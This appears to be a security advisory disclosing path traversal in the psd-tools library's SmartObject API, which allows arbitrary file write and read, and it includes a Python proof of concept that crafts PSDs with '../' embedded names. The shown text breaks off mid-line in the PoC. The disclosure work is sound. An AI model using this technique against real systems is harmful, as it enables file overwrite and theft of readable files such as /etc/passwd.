psd-tools vulnerable to arbitrary file write via smart-object filename
# psd-tools: arbitrary file write/read via smart-object path traversal
Summary
In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.
A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.
Details
Write path — SmartObject.save() (primary)
src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):
```python
def save(self, filename: str | None = None) -> None:
if filename is None:
filename = self.filename # untrusted, straight from the file
with open(filename, "wb") as f:
f.write(self.data) # attacker-controlled bytes
```
self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.
Read path — SmartObject.open() / .data for external kind (secondary)
For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.
Proof of concept
Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.
```bash
pip install psd-tools==1.17.0
python poc.py
```
poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:
```python
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag
MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}
def craft(name, out):
psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
uuid = next(l.smart_object.unique_id for l in psd.descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
if item.uuid.strip("\x00") == uuid:
item.filename, item.data = name, MARKER
psd.save(out)
def extract(psd_path, outdir, watch):
psd = PSDImage.open(psd_path)
before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
cwd = os.getcwd(); os.chdir(outdir)
try:
for l in psd.descendants():
if l.kind == "smartobject" and l.smart_object.kind == "data":
l.smart_object.save()
finally:
os.chdir(cwd)
after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
return sorted(after - before)
def main():
tmp = tempfile.mkdtemp(prefix="poc_")
try:
escaped = {}
for tag, name in NAMES.items():
psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
so = next(l.smart_object for l in PSDImage.open(psd).descendants()
if l.kind == "smartobject" and l.smart_object.kind == "data")
print(f"[{tag}] parsed embedded name = {so.filename!r}")
outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
for w in written:
print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
ok = (not escaped["control"] and escaped["exploit"]
and all(open(w, "rb").rea
